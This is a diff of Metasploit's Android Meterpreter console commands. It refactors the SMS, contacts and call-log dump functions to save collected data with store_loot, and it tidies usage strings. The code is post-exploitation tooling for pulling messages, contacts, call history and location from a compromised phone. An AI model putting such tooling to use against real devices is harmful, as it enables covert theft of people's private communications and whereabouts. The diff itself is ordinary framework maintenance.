1
1
# -*- coding: binary -*-
2
+ require 'msf/core'
2
3
require 'rex/post/meterpreter'
3
4
4
5
module Rex
@@ -12,8 +13,8 @@ module Ui
12
13
###
13
14
14
15
class Console ::CommandDispatcher ::Android
15
-
16
16
include Console ::CommandDispatcher
17
+ include Msf ::Auxiliary ::Report
17
18
18
19
def initialize ( shell )
19
20
super
@@ -22,7 +23,7 @@ def initialize(shell)
22
23
#
23
24
# List of supported commands.
24
25
#
25
- def commands
26
+ def commands
26
27
all = {
27
28
'dump_sms' => 'Get sms messages' ,
28
29
'dump_contacts' => 'Get contacts list' ,
@@ -59,7 +60,7 @@ def cmd_device_shutdown(*args)
59
60
device_shutdown_opts . parse ( args ) { | opt , idx , val |
60
61
case opt
61
62
when '-h'
62
- print_line ( 'Usage: device_shutdown [options]\n ' )
63
+ print_line ( 'Usage: device_shutdown [options]' )
63
64
print_line ( 'Shutdown device.' )
64
65
print_line ( device_shutdown_opts . usage )
65
66
return
@@ -88,7 +89,7 @@ def cmd_dump_sms(*args)
88
89
dump_sms_opts . parse ( args ) { | opt , idx , val |
89
90
case opt
90
91
when '-h'
91
- print_line ( 'Usage: dump_sms [options]\n ' )
92
+ print_line ( 'Usage: dump_sms [options]' )
92
93
print_line ( 'Get sms messages.' )
93
94
print_line ( dump_sms_opts . usage )
94
95
return
@@ -105,58 +106,55 @@ def cmd_dump_sms(*args)
105
106
begin
106
107
info = client . sys . config . sysinfo
107
108
108
- ::File . open ( path , 'wb' ) do |fd |
109
-
110
- fd . write ( "\n =====================\n " )
111
- fd . write ( "[+] Sms messages dump\n " )
112
- fd . write ( "=====================\n \n " )
113
-
114
- time = Time . new
115
- fd . write ( "Date: #{ time . inspect } \n " )
116
- fd . write ( "OS: #{ info [ 'OS' ] } \n " )
117
- fd . write ( "Remote IP: #{ client . sock . peerhost } \n " )
118
- fd . write ( "Remote Port: #{ client . sock . peerport } \n \n " )
119
-
120
- smsList . each_with_index { |a , index |
121
-
122
- fd . write ( "##{ ( index . to_i + 1 ) . to_s ( ) } \n " )
123
-
124
- type = 'Unknown'
125
- if a [ 'type' ] == '1'
126
- type = 'Incoming'
127
- elsif a [ 'type' ] == '2'
128
- type = 'Outgoing'
129
- end
130
-
131
- status = 'Unknown'
132
- if a [ 'status' ] == '-1'
133
- status = 'NOT_RECEIVED'
134
- elsif a [ 'status' ] == '1'
135
- status = 'SME_UNABLE_TO_CONFIRM'
136
- elsif a [ 'status' ] == '0'
137
- status = 'SUCCESS'
138
- elsif a [ 'status' ] == '64'
139
- status = 'MASK_PERMANENT_ERROR'
140
- elsif a [ 'status' ] == '32'
141
- status = 'MASK_TEMPORARY_ERROR'
142
- elsif a [ 'status' ] == '2'
143
- status = 'SMS_REPLACED_BY_SC'
144
- end
145
-
146
- fd . write ( "Type\t : #{ type } \n " )
147
-
148
- time = a [ 'date' ] . to_i / 1000
149
- time = Time . at ( time )
150
-
151
- fd . write ( "Date\t : #{ time . strftime ( '%Y-%m-%d %H:%M:%S' ) } \n " )
152
- fd . write ( "Address\t : #{ a [ 'address' ] } \n " )
153
- fd . write ( "Status\t : #{ status } \n " )
154
- fd . write ( "Message\t : #{ a [ 'body' ] } \n \n " )
155
- }
156
- end
157
-
158
- path = ::File . expand_path ( path )
159
-
109
+ data = String ::new
110
+ data << "\n =====================\n "
111
+ data << "[+] Sms messages dump\n "
112
+ data << "=====================\n \n "
113
+
114
+ time = Time . new
115
+ data << "Date: #{ time . inspect } \n "
116
+ data << "OS: #{ info [ 'OS' ] } \n "
117
+ data << "Remote IP: #{ client . sock . peerhost } \n "
118
+ data << "Remote Port: #{ client . sock . peerport } \n \n "
119
+
120
+ smsList . each_with_index { |a , index |
121
+
122
+ data << "##{ ( index . to_i + 1 ) . to_s ( ) } \n "
123
+
124
+ type = 'Unknown'
125
+ if a [ 'type' ] == '1'
126
+ type = 'Incoming'
127
+ elsif a [ 'type' ] == '2'
128
+ type = 'Outgoing'
129
+ end
130
+
131
+ status = 'Unknown'
132
+ if a [ 'status' ] == '-1'
133
+ status = 'NOT_RECEIVED'
134
+ elsif a [ 'status' ] == '1'
135
+ status = 'SME_UNABLE_TO_CONFIRM'
136
+ elsif a [ 'status' ] == '0'
137
+ status = 'SUCCESS'
138
+ elsif a [ 'status' ] == '64'
139
+ status = 'MASK_PERMANENT_ERROR'
140
+ elsif a [ 'status' ] == '32'
141
+ status = 'MASK_TEMPORARY_ERROR'
142
+ elsif a [ 'status' ] == '2'
143
+ status = 'SMS_REPLACED_BY_SC'
144
+ end
145
+
146
+ data << "Type\t : #{ type } \n "
147
+
148
+ time = a [ 'date' ] . to_i / 1000
149
+ time = Time . at ( time )
150
+
151
+ data << "Date\t : #{ time . strftime ( '%Y-%m-%d %H:%M:%S' ) } \n "
152
+ data << "Address\t : #{ a [ 'address' ] } \n "
153
+ data << "Status\t : #{ status } \n "
154
+ data << "Message\t : #{ a [ 'body' ] } \n \n "
155
+ }
156
+
157
+ path = store_loot ( "android.sms" , "text/plain" , client . sock . peerhost , data , "sms.txt" , "Android SMS Dump" )
160
158
print_status ( "Sms #{ smsList . count == 1 ? 'message' : 'messages' } saved to: #{ path } " )
161
159
Rex ::Compat . open_file ( path )
162
160
@@ -185,7 +183,7 @@ def cmd_dump_contacts(*args)
185
183
dump_contacts_opts . parse ( args ) { | opt , idx , val |
186
184
case opt
187
185
when '-h'
188
- print_line ( 'Usage: dump_contacts [options]\n ' )
186
+ print_line ( 'Usage: dump_contacts [options]' )
189
187
print_line ( 'Get contacts list.' )
190
188
print_line ( dump_contacts_opts . usage )
191
189
return
@@ -202,40 +200,38 @@ def cmd_dump_contacts(*args)
202
200
begin
203
201
info = client . sys . config . sysinfo
204
202
205
- ::File . open ( path , 'wb' ) do |fd |
206
-
207
- fd . write ( "\n ======================\n " )
208
- fd . write ( "[+] Contacts list dump\n " )
209
- fd . write ( "======================\n \n " )
203
+ data = String ::new
204
+ data << "\n ======================\n "
205
+ data << "[+] Contacts list dump\n "
206
+ data << "======================\n \n "
210
207
211
- time = Time . new
212
- fd . write ( "Date: #{ time . inspect } \n " )
213
- fd . write ( "OS: #{ info [ 'OS' ] } \n " )
214
- fd . write ( "Remote IP: #{ client . sock . peerhost } \n " )
215
- fd . write ( "Remote Port: #{ client . sock . peerport } \n \n " )
208
+ time = Time . new
209
+ data << "Date: #{ time . inspect } \n "
210
+ data << "OS: #{ info [ 'OS' ] } \n "
211
+ data << "Remote IP: #{ client . sock . peerhost } \n "
212
+ data << "Remote Port: #{ client . sock . peerport } \n \n "
216
213
217
- contactList . each_with_index { |c , index |
214
+ contactList . each_with_index { |c , index |
218
215
219
- fd . write ( "##{ ( index . to_i + 1 ) . to_s ( ) } \n " )
220
- fd . write ( "Name\t : #{ c [ 'name' ] } \n " )
216
+ data << "##{ ( index . to_i + 1 ) . to_s ( ) } \n "
217
+ data << "Name\t : #{ c [ 'name' ] } \n "
221
218
222
- if c [ 'number' ] . count > 0
223
- ( c [ 'number' ] ) . each { |n |
224
- fd . write ( "Number\t : #{ n } \n " )
225
- }
226
- end
219
+ if c [ 'number' ] . count > 0
220
+ ( c [ 'number' ] ) . each { |n |
221
+ data << "Number\t : #{ n } \n "
222
+ }
223
+ end
227
224
228
- if c [ 'email' ] . count > 0
229
- ( c [ 'email' ] ) . each { |n |
230
- fd . write ( "Email\t : #{ n } \n " )
231
- }
232
- end
225
+ if c [ 'email' ] . count > 0
226
+ ( c [ 'email' ] ) . each { |n |
227
+ data << "Email\t : #{ n } \n "
228
+ }
229
+ end
233
230
234
- fd . write ( "\n " )
235
- }
236
- end
237
-
238
- path = ::File . expand_path ( path )
231
+ data << "\n "
232
+ }
233
+
234
+ path = store_loot ( "android.contacts" , "text/plain" , client . sock . peerhost , data , "contacts.txt" , "Android Contacts Dump" )
239
235
print_status ( "Contacts list saved to: #{ path } " )
240
236
Rex ::Compat . open_file ( path )
241
237
@@ -263,7 +259,7 @@ def cmd_geolocate(*args)
263
259
geolocate_opts . parse ( args ) { | opt , idx , val |
264
260
case opt
265
261
when '-h'
266
- print_line ( 'Usage: geolocate [options]\n ' )
262
+ print_line ( 'Usage: geolocate [options]' )
267
263
print_line ( 'Get current location using geolocation.' )
268
264
print_line ( geolocate_opts . usage )
269
265
return
@@ -274,7 +270,7 @@ def cmd_geolocate(*args)
274
270
275
271
geo = client . android . geolocate
276
272
277
- print_status ( 'Current Location:\n ' )
273
+ print_status ( 'Current Location:' )
278
274
print_line ( "\t Latitude : #{ geo [ 0 ] [ 'lat' ] } " )
279
275
print_line ( "\t Longitude : #{ geo [ 0 ] [ 'long' ] } \n " )
280
276
print_line ( "To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{ geo [ 0 ] [ 'lat' ] } ,#{ geo [ 0 ] [ 'long' ] } &sensor=true\n " )
@@ -302,7 +298,7 @@ def cmd_dump_calllog(*args)
302
298
dump_calllog_opts . parse ( args ) { | opt , idx , val |
303
299
case opt
304
300
when '-h'
305
- print_line ( 'Usage: dump_calllog [options]\n ' )
301
+ print_line ( 'Usage: dump_calllog [options]' )
306
302
print_line ( 'Get call log.' )
307
303
print_line ( dump_calllog_opts . usage )
308
304
return
@@ -318,32 +314,30 @@ def cmd_dump_calllog(*args)
318
314
begin
319
315
info = client . sys . config . sysinfo
320
316
321
- ::File . open ( path , 'wb' ) do |fd |
322
-
323
- fd . write ( "\n =================\n " )
324
- fd . write ( "[+] Call log dump\n " )
325
- fd . write ( "=================\n \n " )
317
+ data = String ::new
318
+ data << "\n =================\n "
319
+ data << "[+] Call log dump\n "
320
+ data << "=================\n \n "
326
321
327
- time = Time . new
328
- fd . write ( "Date: #{ time . inspect } \n " )
329
- fd . write ( "OS: #{ info [ 'OS' ] } \n " )
330
- fd . write ( "Remote IP: #{ client . sock . peerhost } \n " )
331
- fd . write ( "Remote Port: #{ client . sock . peerport } \n \n " )
322
+ time = Time . new
323
+ data << "Date: #{ time . inspect } \n "
324
+ data << "OS: #{ info [ 'OS' ] } \n "
325
+ data << "Remote IP: #{ client . sock . peerhost } \n "
326
+ data << "Remote Port: #{ client . sock . peerport } \n \n "
332
327
333
- log . each_with_index { |a , index |
328
+ log . each_with_index { |a , index |
334
329
335
- fd . write ( "##{ ( index . to_i + 1 ) . to_s ( ) } \n " )
330
+ data << "##{ ( index . to_i + 1 ) . to_s ( ) } \n "
336
331
337
- fd . write ( "Number\t : #{ a [ 'number' ] } \n " )
338
- fd . write ( "Name\t : #{ a [ 'name' ] } \n " )
339
- fd . write ( "Date\t : #{ a [ 'date' ] } \n " )
340
- fd . write ( "Type\t : #{ a [ 'type' ] } \n " )
341
- fd . write ( "Duration: #{ a [ 'duration' ] } \n \n " )
342
- }
343
- end
332
+ data << "Number\t : #{ a [ 'number' ] } \n "
333
+ data << "Name\t : #{ a [ 'name' ] } \n "
334
+ data << "Date\t : #{ a [ 'date' ] } \n "
335
+ data << "Type\t : #{ a [ 'type' ] } \n "
336
+ data << "Duration: #{ a [ 'duration' ] } \n \n "
337
+ }
344
338
345
- path = :: File . expand_path ( path )
346
- print_status ( "Call log saved to: #{ path } " )
339
+ path = store_loot ( "android.calllog" , "text/plain" , client . sock . peerhost , data , "call-log.txt" , "Android Call Log Dump" )
340
+ print_status ( "Call log saved to #{ path } " )
347
341
Rex ::Compat . open_file ( path )
348
342
349
343
return true
@@ -367,7 +361,7 @@ def cmd_check_root(*args)
367
361
check_root_opts . parse ( args ) { | opt , idx , val |
368
362
case opt
369
363
when '-h'
370
- print_line ( 'Usage: check_root [options]\n ' )
364
+ print_line ( 'Usage: check_root [options]' )
371
365
print_line ( 'Check if device is rooted.' )
372
366
print_line ( check_root_opts . usage )
373
367
return
0 commit comments